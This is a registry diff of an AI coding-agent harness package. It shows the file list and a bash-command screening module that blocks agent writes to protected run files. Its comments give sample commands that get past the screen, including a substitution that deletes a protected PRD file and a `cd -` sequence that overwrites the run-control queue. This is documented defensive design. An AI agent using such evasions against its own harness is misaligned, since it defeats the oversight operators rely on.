@nathapp/nax-agent 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (398) hide show
  1. package/CHANGELOG.md +24 -0
  2. package/LICENSE +21 -0
  3. package/README.md +49 -0
  4. package/dist/coding-tools/coding-tool-bash.d.ts +46 -0
  5. package/dist/coding-tools/coding-tool-bash.js +44 -0
  6. package/dist/coding-tools/coding-tool-extras.d.ts +35 -0
  7. package/dist/coding-tools/coding-tool-extras.js +56 -0
  8. package/dist/coding-tools/coding-tool-sandbox.d.ts +74 -0
  9. package/dist/coding-tools/coding-tool-sandbox.js +215 -0
  10. package/dist/coding-tools/coding-tool-support.d.ts +132 -0
  11. package/dist/coding-tools/coding-tool-support.js +159 -0
  12. package/dist/coding-tools/universal-coding-tools.d.ts +11 -0
  13. package/dist/coding-tools/universal-coding-tools.js +5 -0
  14. package/dist/command-interceptor/index.d.ts +55 -0
  15. package/dist/command-interceptor/index.js +60 -0
  16. package/dist/command-interceptor/shell.d.ts +36 -0
  17. package/dist/command-interceptor/shell.js +137 -0
  18. package/dist/command-safety/build.d.ts +19 -0
  19. package/dist/command-safety/build.js +47 -0
  20. package/dist/command-safety/guard.d.ts +32 -0
  21. package/dist/command-safety/guard.js +179 -0
  22. package/dist/command-safety/identifiers.d.ts +24 -0
  23. package/dist/command-safety/identifiers.js +20 -0
  24. package/dist/command-safety/index.d.ts +17 -0
  25. package/dist/command-safety/index.js +11 -0
  26. package/dist/command-safety/questions.d.ts +19 -0
  27. package/dist/command-safety/questions.js +60 -0
  28. package/dist/command-safety/row.d.ts +2 -0
  29. package/dist/command-safety/row.js +14 -0
  30. package/dist/command-safety/rule-scorer.d.ts +9 -0
  31. package/dist/command-safety/rule-scorer.js +391 -0
  32. package/dist/command-safety/shadow.d.ts +33 -0
  33. package/dist/command-safety/shadow.js +188 -0
  34. package/dist/command-safety/systemone-client.d.ts +16 -0
  35. package/dist/command-safety/systemone-client.js +92 -0
  36. package/dist/command-safety/tap.d.ts +37 -0
  37. package/dist/command-safety/tap.js +77 -0
  38. package/dist/command-safety/temp-only.d.ts +6 -0
  39. package/dist/command-safety/temp-only.js +215 -0
  40. package/dist/command-safety/tmp-write.d.ts +2 -0
  41. package/dist/command-safety/tmp-write.js +112 -0
  42. package/dist/command-safety/types.d.ts +185 -0
  43. package/dist/command-safety/types.js +21 -0
  44. package/dist/config/bash-approval.d.ts +33 -0
  45. package/dist/config/bash-approval.js +30 -0
  46. package/dist/config/catalog-overrides.d.ts +94 -0
  47. package/dist/config/catalog-overrides.js +7 -0
  48. package/dist/config/native-agent/index.d.ts +8 -0
  49. package/dist/config/native-agent/index.js +8 -0
  50. package/dist/config/schemas-sandbox.d.ts +31 -0
  51. package/dist/config/schemas-sandbox.js +45 -0
  52. package/dist/cost/core/index.d.ts +8 -0
  53. package/dist/cost/core/index.js +7 -0
  54. package/dist/cost/estimate.d.ts +34 -0
  55. package/dist/cost/estimate.js +65 -0
  56. package/dist/cost/model-spec.d.ts +28 -0
  57. package/dist/cost/model-spec.js +29 -0
  58. package/dist/cost/standard-types.d.ts +9 -0
  59. package/dist/cost/standard-types.js +1 -0
  60. package/dist/cost/usage-math.d.ts +18 -0
  61. package/dist/cost/usage-math.js +46 -0
  62. package/dist/index.d.ts +26 -0
  63. package/dist/index.js +21 -0
  64. package/dist/infra/agent-logger.d.ts +22 -0
  65. package/dist/infra/agent-logger.js +19 -0
  66. package/dist/infra/credentials-config.d.ts +20 -0
  67. package/dist/infra/credentials-config.js +15 -0
  68. package/dist/infra/errors.d.ts +9 -0
  69. package/dist/infra/errors.js +11 -0
  70. package/dist/infra/index.d.ts +7 -0
  71. package/dist/infra/index.js +7 -0
  72. package/dist/infra/nax-error.d.ts +10 -0
  73. package/dist/infra/nax-error.js +16 -0
  74. package/dist/infra/spin-breaker/hash.d.ts +2 -0
  75. package/dist/infra/spin-breaker/hash.js +5 -0
  76. package/dist/infra/spin-breaker/index.d.ts +120 -0
  77. package/dist/infra/spin-breaker/index.js +340 -0
  78. package/dist/internal/agent-output-env.d.ts +44 -0
  79. package/dist/internal/agent-output-env.js +57 -0
  80. package/dist/internal/argv-exec.d.ts +58 -0
  81. package/dist/internal/argv-exec.js +224 -0
  82. package/dist/internal/bounded-io.d.ts +24 -0
  83. package/dist/internal/bounded-io.js +51 -0
  84. package/dist/internal/command-spec/index.d.ts +29 -0
  85. package/dist/internal/command-spec/index.js +36 -0
  86. package/dist/internal/describe-value-type.d.ts +8 -0
  87. package/dist/internal/describe-value-type.js +14 -0
  88. package/dist/internal/exec-framing.d.ts +18 -0
  89. package/dist/internal/exec-framing.js +22 -0
  90. package/dist/internal/file-lock.d.ts +91 -0
  91. package/dist/internal/file-lock.js +212 -0
  92. package/dist/internal/file-size.d.ts +2 -0
  93. package/dist/internal/file-size.js +12 -0
  94. package/dist/internal/git-add.d.ts +43 -0
  95. package/dist/internal/git-add.js +59 -0
  96. package/dist/internal/git-env.d.ts +59 -0
  97. package/dist/internal/git-env.js +93 -0
  98. package/dist/internal/git-exec.d.ts +58 -0
  99. package/dist/internal/git-exec.js +115 -0
  100. package/dist/internal/path-file-lock.d.ts +23 -0
  101. package/dist/internal/path-file-lock.js +25 -0
  102. package/dist/internal/process-alive.d.ts +42 -0
  103. package/dist/internal/process-alive.js +56 -0
  104. package/dist/internal/process-kill.d.ts +27 -0
  105. package/dist/internal/process-kill.js +54 -0
  106. package/dist/internal/realpath.d.ts +29 -0
  107. package/dist/internal/realpath.js +52 -0
  108. package/dist/internal/redact.d.ts +40 -0
  109. package/dist/internal/redact.js +161 -0
  110. package/dist/internal/shell-quote.d.ts +2 -0
  111. package/dist/internal/shell-quote.js +4 -0
  112. package/dist/internal/sort.d.ts +20 -0
  113. package/dist/internal/sort.js +20 -0
  114. package/dist/internal/strip-control-chars.d.ts +19 -0
  115. package/dist/internal/strip-control-chars.js +38 -0
  116. package/dist/internal/thenable.d.ts +10 -0
  117. package/dist/internal/thenable.js +15 -0
  118. package/dist/internal.d.ts +91 -0
  119. package/dist/internal.js +91 -0
  120. package/dist/native/adapter-deps.d.ts +46 -0
  121. package/dist/native/adapter-deps.js +43 -0
  122. package/dist/native/auth-types.d.ts +70 -0
  123. package/dist/native/auth-types.js +13 -0
  124. package/dist/native/auth.d.ts +133 -0
  125. package/dist/native/auth.js +362 -0
  126. package/dist/native/client.d.ts +50 -0
  127. package/dist/native/client.js +174 -0
  128. package/dist/native/complete.d.ts +33 -0
  129. package/dist/native/complete.js +88 -0
  130. package/dist/native/credentials/chained-store.d.ts +30 -0
  131. package/dist/native/credentials/chained-store.js +68 -0
  132. package/dist/native/credentials/change-guard.d.ts +51 -0
  133. package/dist/native/credentials/change-guard.js +136 -0
  134. package/dist/native/credentials/exec-source.d.ts +50 -0
  135. package/dist/native/credentials/exec-source.js +222 -0
  136. package/dist/native/credentials/fingerprint.d.ts +26 -0
  137. package/dist/native/credentials/fingerprint.js +174 -0
  138. package/dist/native/credentials/helper-process.d.ts +79 -0
  139. package/dist/native/credentials/helper-process.js +259 -0
  140. package/dist/native/credentials/helper-protocol.d.ts +36 -0
  141. package/dist/native/credentials/helper-protocol.js +79 -0
  142. package/dist/native/credentials/index.d.ts +60 -0
  143. package/dist/native/credentials/index.js +184 -0
  144. package/dist/native/errors.d.ts +34 -0
  145. package/dist/native/errors.js +109 -0
  146. package/dist/native/index.d.ts +25 -0
  147. package/dist/native/index.js +23 -0
  148. package/dist/native/model-resolver.d.ts +57 -0
  149. package/dist/native/model-resolver.js +73 -0
  150. package/dist/native/models.d.ts +116 -0
  151. package/dist/native/models.js +183 -0
  152. package/dist/native/session/ask-human.d.ts +15 -0
  153. package/dist/native/session/ask-human.js +22 -0
  154. package/dist/native/session/compaction.d.ts +94 -0
  155. package/dist/native/session/compaction.js +170 -0
  156. package/dist/native/session/handle-invalid-tool-call.d.ts +111 -0
  157. package/dist/native/session/handle-invalid-tool-call.js +159 -0
  158. package/dist/native/session/loop-events/cache-boundary.d.ts +11 -0
  159. package/dist/native/session/loop-events/cache-boundary.js +29 -0
  160. package/dist/native/session/loop-events/external-handler.d.ts +38 -0
  161. package/dist/native/session/loop-events/external-handler.js +193 -0
  162. package/dist/native/session/loop-events/index.d.ts +16 -0
  163. package/dist/native/session/loop-events/index.js +15 -0
  164. package/dist/native/session/loop-events/payload-guard.d.ts +9 -0
  165. package/dist/native/session/loop-events/payload-guard.js +31 -0
  166. package/dist/native/session/loop-events/registry.d.ts +84 -0
  167. package/dist/native/session/loop-events/registry.js +305 -0
  168. package/dist/native/session/loop-events/types.d.ts +251 -0
  169. package/dist/native/session/loop-events/types.js +14 -0
  170. package/dist/native/session/loop-handlers.d.ts +73 -0
  171. package/dist/native/session/loop-handlers.js +137 -0
  172. package/dist/native/session/nudge.d.ts +29 -0
  173. package/dist/native/session/nudge.js +35 -0
  174. package/dist/native/session/rate-provenance.d.ts +17 -0
  175. package/dist/native/session/rate-provenance.js +39 -0
  176. package/dist/native/session/session.d.ts +139 -0
  177. package/dist/native/session/session.js +208 -0
  178. package/dist/native/session/tool-input-exemplar.d.ts +2 -0
  179. package/dist/native/session/tool-input-exemplar.js +66 -0
  180. package/dist/native/session/tool-input-validation.d.ts +15 -0
  181. package/dist/native/session/tool-input-validation.js +146 -0
  182. package/dist/native/session/tool-mapping.d.ts +18 -0
  183. package/dist/native/session/tool-mapping.js +27 -0
  184. package/dist/native/session/tool-result.d.ts +37 -0
  185. package/dist/native/session/tool-result.js +25 -0
  186. package/dist/native/session/transcript-store.d.ts +77 -0
  187. package/dist/native/session/transcript-store.js +200 -0
  188. package/dist/native/session/truncation-handler.d.ts +47 -0
  189. package/dist/native/session/truncation-handler.js +83 -0
  190. package/dist/native/session/turn-accumulator.d.ts +45 -0
  191. package/dist/native/session/turn-accumulator.js +67 -0
  192. package/dist/native/session/turn-ask-human.d.ts +23 -0
  193. package/dist/native/session/turn-ask-human.js +41 -0
  194. package/dist/native/session/turn-compaction-step.d.ts +74 -0
  195. package/dist/native/session/turn-compaction-step.js +128 -0
  196. package/dist/native/session/turn-complete-step.d.ts +77 -0
  197. package/dist/native/session/turn-complete-step.js +159 -0
  198. package/dist/native/session/turn-end-event.d.ts +3 -0
  199. package/dist/native/session/turn-end-event.js +17 -0
  200. package/dist/native/session/turn-events.d.ts +63 -0
  201. package/dist/native/session/turn-events.js +48 -0
  202. package/dist/native/session/turn-loop-round-trip.d.ts +116 -0
  203. package/dist/native/session/turn-loop-round-trip.js +318 -0
  204. package/dist/native/session/turn-loop.d.ts +23 -0
  205. package/dist/native/session/turn-loop.js +250 -0
  206. package/dist/native/session/turn-result.d.ts +39 -0
  207. package/dist/native/session/turn-result.js +64 -0
  208. package/dist/native/session/turn-retry.d.ts +120 -0
  209. package/dist/native/session/turn-retry.js +182 -0
  210. package/dist/native/session/turn-tool-batch.d.ts +61 -0
  211. package/dist/native/session/turn-tool-batch.js +259 -0
  212. package/dist/native/session/turn-types.d.ts +164 -0
  213. package/dist/native/session/turn-types.js +36 -0
  214. package/dist/native/session-adapter.d.ts +56 -0
  215. package/dist/native/session-adapter.js +369 -0
  216. package/dist/native/session-affinity.d.ts +36 -0
  217. package/dist/native/session-affinity.js +43 -0
  218. package/dist/native/tier-providers.d.ts +18 -0
  219. package/dist/native/tier-providers.js +20 -0
  220. package/dist/permissions/approval-audit.d.ts +10 -0
  221. package/dist/permissions/approval-audit.js +22 -0
  222. package/dist/permissions/approvals-link.d.ts +20 -0
  223. package/dist/permissions/approvals-link.js +62 -0
  224. package/dist/permissions/approvals-store.d.ts +168 -0
  225. package/dist/permissions/approvals-store.js +259 -0
  226. package/dist/permissions/approvals-taint.d.ts +33 -0
  227. package/dist/permissions/approvals-taint.js +138 -0
  228. package/dist/permissions/ask-chain.d.ts +69 -0
  229. package/dist/permissions/ask-chain.js +32 -0
  230. package/dist/permissions/ask.d.ts +23 -0
  231. package/dist/permissions/ask.js +25 -0
  232. package/dist/permissions/bash-lex.d.ts +59 -0
  233. package/dist/permissions/bash-lex.js +279 -0
  234. package/dist/permissions/grammar.d.ts +12 -0
  235. package/dist/permissions/grammar.js +24 -0
  236. package/dist/permissions/index.d.ts +11 -0
  237. package/dist/permissions/index.js +9 -0
  238. package/dist/permissions/secret-spans.d.ts +19 -0
  239. package/dist/permissions/secret-spans.js +88 -0
  240. package/dist/permissions/types.d.ts +85 -0
  241. package/dist/permissions/types.js +1 -0
  242. package/dist/runtime/index.d.ts +3 -0
  243. package/dist/runtime/index.js +2 -0
  244. package/dist/runtime/node-glob.d.ts +3 -0
  245. package/dist/runtime/node-glob.js +83 -0
  246. package/dist/runtime/node-runtime.d.ts +3 -0
  247. package/dist/runtime/node-runtime.js +126 -0
  248. package/dist/runtime/slot.d.ts +11 -0
  249. package/dist/runtime/slot.js +17 -0
  250. package/dist/runtime/types.d.ts +51 -0
  251. package/dist/runtime/types.js +1 -0
  252. package/dist/runtime/which.d.ts +8 -0
  253. package/dist/runtime/which.js +32 -0
  254. package/dist/sandbox/argv-quote.d.ts +11 -0
  255. package/dist/sandbox/argv-quote.js +13 -0
  256. package/dist/sandbox/defaults.d.ts +27 -0
  257. package/dist/sandbox/defaults.js +47 -0
  258. package/dist/sandbox/git-guards.d.ts +64 -0
  259. package/dist/sandbox/git-guards.js +161 -0
  260. package/dist/sandbox/index.d.ts +11 -0
  261. package/dist/sandbox/index.js +10 -0
  262. package/dist/sandbox/launcher.d.ts +37 -0
  263. package/dist/sandbox/launcher.js +160 -0
  264. package/dist/sandbox/messages.d.ts +17 -0
  265. package/dist/sandbox/messages.js +46 -0
  266. package/dist/sandbox/policy-builder.d.ts +44 -0
  267. package/dist/sandbox/policy-builder.js +149 -0
  268. package/dist/sandbox/policy-inputs.d.ts +53 -0
  269. package/dist/sandbox/policy-inputs.js +76 -0
  270. package/dist/sandbox/probe.d.ts +8 -0
  271. package/dist/sandbox/probe.js +66 -0
  272. package/dist/sandbox/registry.d.ts +17 -0
  273. package/dist/sandbox/registry.js +57 -0
  274. package/dist/sandbox/session-tmp.d.ts +20 -0
  275. package/dist/sandbox/session-tmp.js +95 -0
  276. package/dist/sandbox/srt-backend.d.ts +21 -0
  277. package/dist/sandbox/srt-backend.js +99 -0
  278. package/dist/sandbox/types.d.ts +102 -0
  279. package/dist/sandbox/types.js +1 -0
  280. package/dist/session/adapter-failure.d.ts +60 -0
  281. package/dist/session/adapter-failure.js +11 -0
  282. package/dist/session/agent-stream-events.d.ts +103 -0
  283. package/dist/session/agent-stream-events.js +6 -0
  284. package/dist/session/interaction-handler.d.ts +53 -0
  285. package/dist/session/interaction-handler.js +2 -0
  286. package/dist/session/no-op-interaction-handler.d.ts +9 -0
  287. package/dist/session/no-op-interaction-handler.js +11 -0
  288. package/dist/session/protocol-types.d.ts +12 -0
  289. package/dist/session/protocol-types.js +1 -0
  290. package/dist/session/session-types.d.ts +456 -0
  291. package/dist/session/session-types.js +64 -0
  292. package/dist/session/tool-descriptor.d.ts +23 -0
  293. package/dist/session/tool-descriptor.js +5 -0
  294. package/dist/session/turn-deadline.d.ts +17 -0
  295. package/dist/session/turn-deadline.js +23 -0
  296. package/dist/tools/ask-request.d.ts +35 -0
  297. package/dist/tools/ask-request.js +57 -0
  298. package/dist/tools/bash-cwd.d.ts +82 -0
  299. package/dist/tools/bash-cwd.js +55 -0
  300. package/dist/tools/bash.d.ts +69 -0
  301. package/dist/tools/bash.js +283 -0
  302. package/dist/tools/delete.d.ts +57 -0
  303. package/dist/tools/delete.js +154 -0
  304. package/dist/tools/denial-redirect.d.ts +42 -0
  305. package/dist/tools/denial-redirect.js +266 -0
  306. package/dist/tools/deny-paths.d.ts +35 -0
  307. package/dist/tools/deny-paths.js +76 -0
  308. package/dist/tools/edit-region.d.ts +50 -0
  309. package/dist/tools/edit-region.js +90 -0
  310. package/dist/tools/edit.d.ts +25 -0
  311. package/dist/tools/edit.js +114 -0
  312. package/dist/tools/exec-allowlist-text.d.ts +18 -0
  313. package/dist/tools/exec-allowlist-text.js +24 -0
  314. package/dist/tools/exec-guard.d.ts +69 -0
  315. package/dist/tools/exec-guard.js +151 -0
  316. package/dist/tools/git-commit.d.ts +59 -0
  317. package/dist/tools/git-commit.js +220 -0
  318. package/dist/tools/git-flags/index.d.ts +10 -0
  319. package/dist/tools/git-flags/index.js +10 -0
  320. package/dist/tools/git.d.ts +88 -0
  321. package/dist/tools/git.js +397 -0
  322. package/dist/tools/glob.d.ts +29 -0
  323. package/dist/tools/glob.js +153 -0
  324. package/dist/tools/grep.d.ts +21 -0
  325. package/dist/tools/grep.js +162 -0
  326. package/dist/tools/index.d.ts +36 -0
  327. package/dist/tools/index.js +28 -0
  328. package/dist/tools/narrow-grants.d.ts +19 -0
  329. package/dist/tools/narrow-grants.js +54 -0
  330. package/dist/tools/nax-owned-writes.d.ts +135 -0
  331. package/dist/tools/nax-owned-writes.js +259 -0
  332. package/dist/tools/package-managers-table.d.ts +146 -0
  333. package/dist/tools/package-managers-table.js +325 -0
  334. package/dist/tools/package-managers-types.d.ts +36 -0
  335. package/dist/tools/package-managers-types.js +6 -0
  336. package/dist/tools/package-managers.d.ts +85 -0
  337. package/dist/tools/package-managers.js +391 -0
  338. package/dist/tools/path-list.d.ts +38 -0
  339. package/dist/tools/path-list.js +62 -0
  340. package/dist/tools/policy-bash-raw.d.ts +19 -0
  341. package/dist/tools/policy-bash-raw.js +210 -0
  342. package/dist/tools/policy-bash.d.ts +64 -0
  343. package/dist/tools/policy-bash.js +232 -0
  344. package/dist/tools/policy-command-branch.d.ts +32 -0
  345. package/dist/tools/policy-command-branch.js +63 -0
  346. package/dist/tools/policy-input.d.ts +2 -0
  347. package/dist/tools/policy-input.js +10 -0
  348. package/dist/tools/policy-match.d.ts +75 -0
  349. package/dist/tools/policy-match.js +117 -0
  350. package/dist/tools/policy-paths-branch.d.ts +97 -0
  351. package/dist/tools/policy-paths-branch.js +314 -0
  352. package/dist/tools/policy.d.ts +65 -0
  353. package/dist/tools/policy.js +232 -0
  354. package/dist/tools/protected-paths.d.ts +26 -0
  355. package/dist/tools/protected-paths.js +8 -0
  356. package/dist/tools/provider-adapt.d.ts +4 -0
  357. package/dist/tools/provider-adapt.js +32 -0
  358. package/dist/tools/provider-advertise.d.ts +39 -0
  359. package/dist/tools/provider-advertise.js +50 -0
  360. package/dist/tools/provider-grants.d.ts +36 -0
  361. package/dist/tools/provider-grants.js +72 -0
  362. package/dist/tools/provider-sanitize.d.ts +19 -0
  363. package/dist/tools/provider-sanitize.js +53 -0
  364. package/dist/tools/provider-types.d.ts +41 -0
  365. package/dist/tools/provider-types.js +26 -0
  366. package/dist/tools/read-continuation.d.ts +147 -0
  367. package/dist/tools/read-continuation.js +176 -0
  368. package/dist/tools/read-file.d.ts +32 -0
  369. package/dist/tools/read-file.js +85 -0
  370. package/dist/tools/read.d.ts +25 -0
  371. package/dist/tools/read.js +182 -0
  372. package/dist/tools/registry.d.ts +125 -0
  373. package/dist/tools/registry.js +67 -0
  374. package/dist/tools/request-capability.d.ts +13 -0
  375. package/dist/tools/request-capability.js +23 -0
  376. package/dist/tools/run-command-exec.d.ts +14 -0
  377. package/dist/tools/run-command-exec.js +161 -0
  378. package/dist/tools/run-command.d.ts +107 -0
  379. package/dist/tools/run-command.js +398 -0
  380. package/dist/tools/runtime-calltool.d.ts +146 -0
  381. package/dist/tools/runtime-calltool.js +223 -0
  382. package/dist/tools/runtime.d.ts +149 -0
  383. package/dist/tools/runtime.js +345 -0
  384. package/dist/tools/scratchpad.d.ts +20 -0
  385. package/dist/tools/scratchpad.js +197 -0
  386. package/dist/tools/spill.d.ts +81 -0
  387. package/dist/tools/spill.js +251 -0
  388. package/dist/tools/tool-audit.d.ts +171 -0
  389. package/dist/tools/tool-audit.js +183 -0
  390. package/dist/tools/truncate.d.ts +98 -0
  391. package/dist/tools/truncate.js +297 -0
  392. package/dist/tools/types.d.ts +145 -0
  393. package/dist/tools/types.js +24 -0
  394. package/dist/tools/verb-denial-argv-hint.d.ts +35 -0
  395. package/dist/tools/verb-denial-argv-hint.js +40 -0
  396. package/dist/tools/write.d.ts +9 -0
  397. package/dist/tools/write.js +45 -0
  398. package/package.json +54 -0
@@ -0,0 +1,210 @@
1
+ /**
2
+ * The `raw` bash mode screen (ADR-030).
3
+ *
4
+ * `raw` is pass-through: no per-segment grant matching, no root containment,
5
+ * and — unlike `checkBashCommand` — a command the lexer CANNOT read is ALLOWED
6
+ * rather than refused. That inversion is the whole point of the mode.
7
+ *
8
+ * The one thing this screen still does is catch a naive mistake: if the lexer
9
+ * CAN parse the command and a segment names or redirects into a path nax owns
10
+ * (`.nax/config.json`, `.nax/mono/*\/config.json`, `.nax/features/**\/prd.json`,
11
+ * the root queue-control files), the command is denied.
12
+ *
13
+ * ADVISORY BY CONSTRUCTION. A command using substitution is not parsed and
14
+ * therefore is not screened at all: `sh -c "$(echo rm) .nax/features/f/prd.json"`
15
+ * passes straight through. This is a mistake-catcher, not a boundary, and it
16
+ * must never grow into a general gate — gating lives in policy, once
17
+ * (`src/tools/bash.ts:14-19`). The ONE deliberate exception is the
18
+ * whole-filesystem `find` refusal below: a COST guard (a root-wide walk runs
19
+ * into the 300s Bash timeout), not a containment boundary.
20
+ *
21
+ * A parseable `cd` moves every LATER segment's frame of reference, exactly as
22
+ * it does for `checkBashCommand`, so this screen tracks it too via the shared
23
+ * `cdTargetsFor` / `nextWorkingDirectories` (bash-cwd.ts) -- otherwise
24
+ * `cd child && echo ABORT > ../.queue.txt` would be screened against the
25
+ * wrong directory and let a run-control write through unnoticed.
26
+ *
27
+ * THE CRITICAL ASYMMETRY, read this before touching the `cd` handling below:
28
+ * where `checkBashCommand` DENIES a `cd` it cannot model (an option-shaped
29
+ * target, an opaque one, one that fails to resolve), this screen must NOT --
30
+ * raw enforces no containment by definition, and denying there would silently
31
+ * re-gate raw into a containment gate through the back door of `cd` modelling.
32
+ * A `cd` that leaves the root (`cd ../outside`) is the common case:
33
+ * `resolvePath` is `resolveWithin(root, ...)`, which returns `null` for
34
+ * anything outside the root, so it yields no trackable frame at all. Do not
35
+ * "fix" the unmodelled cases into a denial.
36
+ *
37
+ * But failing open on the `cd` is NOT the same as abandoning the screen. An
38
+ * earlier revision returned `allow` for the WHOLE command on an unmodelled
39
+ * `cd`, which meant a single everyday idiom disabled the screen for every
40
+ * later segment: `cd - ; echo ABORT > .queue.txt` wrote the run-control file
41
+ * unscreened -- strictly worse than the initialPath-pinned code this tracking
42
+ * replaced, which caught it by accident. So an unmodelled `cd` leaves the
43
+ * frame set at its LAST KNOWN value and screening continues. The frame is
44
+ * then an estimate, and the screen may refuse a write that the shell would
45
+ * actually have placed somewhere harmless. That is the correct trade for an
46
+ * advisory mistake-catcher: a false refusal costs one turn and says why,
47
+ * while a false pass can abort the run.
48
+ */
49
+ import { relative, resolve, sep } from "node:path";
50
+ import { realOrRaw } from "#src/internal/realpath";
51
+ import { lexBashCommand } from "#src/permissions/index";
52
+ import { cdTargetsFor, nextWorkingDirectories } from "./bash-cwd.js";
53
+ import { isNaxConfigFile, naxOwnedBashRefusal, naxOwnedKind } from "./nax-owned-writes.js";
54
+ /**
55
+ * US-002: the start paths that mean "search the whole filesystem". An exact
56
+ * token comparison, never a prefix one: `~/proj` and `~user` are scoped and
57
+ * allowed, while `~` and `~/` are not.
58
+ */
59
+ const BRACE_HOME = "$" + "{HOME}";
60
+ const WHOLE_FILESYSTEM_STARTS = new Set([
61
+ "/",
62
+ "~",
63
+ "~/",
64
+ "$HOME",
65
+ "$HOME/",
66
+ BRACE_HOME,
67
+ `${BRACE_HOME}/`,
68
+ ]);
69
+ /**
70
+ * US-002: the whole-filesystem start path of a `find` segment, or undefined.
71
+ *
72
+ * The start paths are the tokens after `find` -- and after any leading `-H`,
73
+ * `-L` or `-P` -- up to the first token that begins with `-`, `(` or `!`. The
74
+ * comparison uses the token TEXT (opaque tokens included: `$HOME` lexes as
75
+ * opaque and must still match).
76
+ */
77
+ function wholeFilesystemFind(tokens) {
78
+ if (tokens[0]?.text !== "find")
79
+ return undefined;
80
+ let index = 1;
81
+ while (index < tokens.length) {
82
+ const text = tokens[index]?.text;
83
+ if (text !== "-H" && text !== "-L" && text !== "-P")
84
+ break;
85
+ index += 1;
86
+ }
87
+ for (; index < tokens.length; index += 1) {
88
+ const text = tokens[index]?.text ?? "";
89
+ if (text.startsWith("-") || text.startsWith("(") || text.startsWith("!"))
90
+ break;
91
+ if (WHOLE_FILESYSTEM_STARTS.has(text))
92
+ return text;
93
+ }
94
+ return undefined;
95
+ }
96
+ function deny(reason) {
97
+ // Never escalatable: a protected-path write is affirmatively out of bounds,
98
+ // not a command the gate merely could not read.
99
+ return { kind: "deny", reason, breach: false, escalatable: false };
100
+ }
101
+ /**
102
+ * A protected path, named for the refusal message, or undefined.
103
+ *
104
+ * Returns the KIND it matched alongside the token the agent used, so the caller
105
+ * can print kind-specific refusal text (`naxOwnedBashRefusal`).
106
+ *
107
+ * Checked against EVERY frame in `cwd`, mirroring the conservatism of gated
108
+ * mode's own `resolveAll`: a `;`-joined `cd` can leave more than one frame
109
+ * live at once (see `nextWorkingDirectories`), and a candidate that is safe
110
+ * from one frame but hits a protected path from another must still deny.
111
+ *
112
+ * Two passes, in order:
113
+ *
114
+ * 1. LEXICAL nax-config check. The raw screen has no typed seam in front of
115
+ * it, and `args.resolvePath` (production: `resolveWithin`) returns null
116
+ * for `.nax/config.json` exactly because typed tools are SUPPOSED to refuse
117
+ * those writes. Falling through to that null would let the entire class
118
+ * of nax-config writes go unscreened. Resolve the candidate lexically
119
+ * against each frame -- `realOrRaw` walks to the nearest existing ancestor,
120
+ * so a not-yet-created file under a symlinked temp root still compares
121
+ * equal to `realOrRaw(root)` -- and refuse on `isNaxConfigFile` BEFORE the
122
+ * resolver is consulted.
123
+ *
124
+ * 2. Typed-seam resolver pass (unchanged). `args.resolvePath` continues to be
125
+ * the gate for everything else: a `null` skips this frame, an out-of-root
126
+ * path skips this frame, and `isNaxOwnedWritePath` covers the queue file
127
+ * and feature PRD set.
128
+ *
129
+ * The two checks do not overlap: pass 1 covers nax config files; pass 2 covers
130
+ * feature PRDs and the queue run-control files. `isNaxConfigFile` is checked
131
+ * lexically here because the resolver cannot return it, and lexically in
132
+ * `resolveWithin` for the same reason; `isNaxOwnedWritePath` is unchanged.
133
+ */
134
+ function protectedHit(args, candidate, cwd) {
135
+ for (const directory of cwd) {
136
+ // Pass 1: lexical nax-config check. Independent of the resolver on
137
+ // purpose -- see the comment above. `realOrRaw` walks to the nearest
138
+ // existing ancestor so the comparison holds even when the file does not
139
+ // yet exist on disk (which is the common case: the screen catches the
140
+ // write BEFORE the file lands).
141
+ const lexical = realOrRaw(resolve(directory, candidate));
142
+ if (isNaxConfigFile(args.root, lexical))
143
+ return { kind: "config", hit: candidate };
144
+ // Pass 2: typed-seam resolver (unchanged).
145
+ const resolved = args.resolvePath(candidate, directory);
146
+ if (resolved === null)
147
+ continue;
148
+ const rel = relative(args.root, resolved).split(sep).join("/");
149
+ if (rel.startsWith(".."))
150
+ continue;
151
+ const kind = naxOwnedKind(rel);
152
+ if (kind !== undefined)
153
+ return { kind, hit: candidate };
154
+ }
155
+ return undefined;
156
+ }
157
+ export function screenRawBashCommand(args) {
158
+ const { command, tool } = args;
159
+ if (typeof command !== "string")
160
+ return deny(`"command" must be a string`);
161
+ if (command.trim() === "")
162
+ return deny(`"command" must not be empty`);
163
+ const lexed = lexBashCommand(command);
164
+ // The inversion: unreadable means unscreened, and unscreened means allowed.
165
+ if (lexed.kind === "refused")
166
+ return { kind: "allow" };
167
+ let cwd = [args.initialPath];
168
+ const sandboxWrapped = args.sandboxWrapped === true;
169
+ for (const segment of lexed.segments) {
170
+ // US-002 COST GUARD (see the file header): a `find` rooted at the whole
171
+ // filesystem walks every mount and runs into the 300s Bash timeout. Raw has
172
+ // no containment, so nothing else stops it. Not a boundary -- a cost guard.
173
+ const findStart = wholeFilesystemFind(segment.tokens);
174
+ if (findStart !== undefined) {
175
+ return deny(`\`find ${findStart}\` searches the whole filesystem and runs into the 300s Bash timeout. ` +
176
+ `Search within the repository root instead: ${args.root}`);
177
+ }
178
+ for (const token of segment.tokens) {
179
+ if (token.opaque)
180
+ continue;
181
+ const hit = protectedHit(args, token.text, cwd);
182
+ // US-002: sandbox-wrapped, a token that only NAMES a PRD is allowed --
183
+ // the sandbox is the boundary, so a read costs nothing. Config and queue
184
+ // are unchanged in both modes.
185
+ if (hit !== undefined && !(sandboxWrapped && hit.kind === "prd")) {
186
+ return deny(naxOwnedBashRefusal(tool, hit.kind, hit.hit, "names"));
187
+ }
188
+ }
189
+ for (const redirect of segment.redirects) {
190
+ if (redirect.opaque)
191
+ continue;
192
+ const hit = protectedHit(args, redirect.target, cwd);
193
+ if (hit !== undefined) {
194
+ // A redirect WRITES, so even sandbox-wrapped it is refused -- with the
195
+ // read/write truth for a PRD (US-002), unchanged text elsewhere.
196
+ return deny(naxOwnedBashRefusal(tool, hit.kind, hit.hit, "redirects into", { sandboxWrapped }));
197
+ }
198
+ }
199
+ // See the file header ("THE CRITICAL ASYMMETRY"). An unmodelled `cd` is
200
+ // never itself a denial -- that inversion from gated mode is deliberate --
201
+ // but it does not end the screen either: the frame set simply stays where
202
+ // it was and the later segments are still checked against it. Returning
203
+ // `allow` here instead would let `cd - ; echo ABORT > .queue.txt` through.
204
+ const cdResult = cdTargetsFor(segment, cwd, args.resolvePath);
205
+ if (cdResult.kind === "resolved") {
206
+ cwd = nextWorkingDirectories(segment, cwd, cdResult.targets);
207
+ }
208
+ }
209
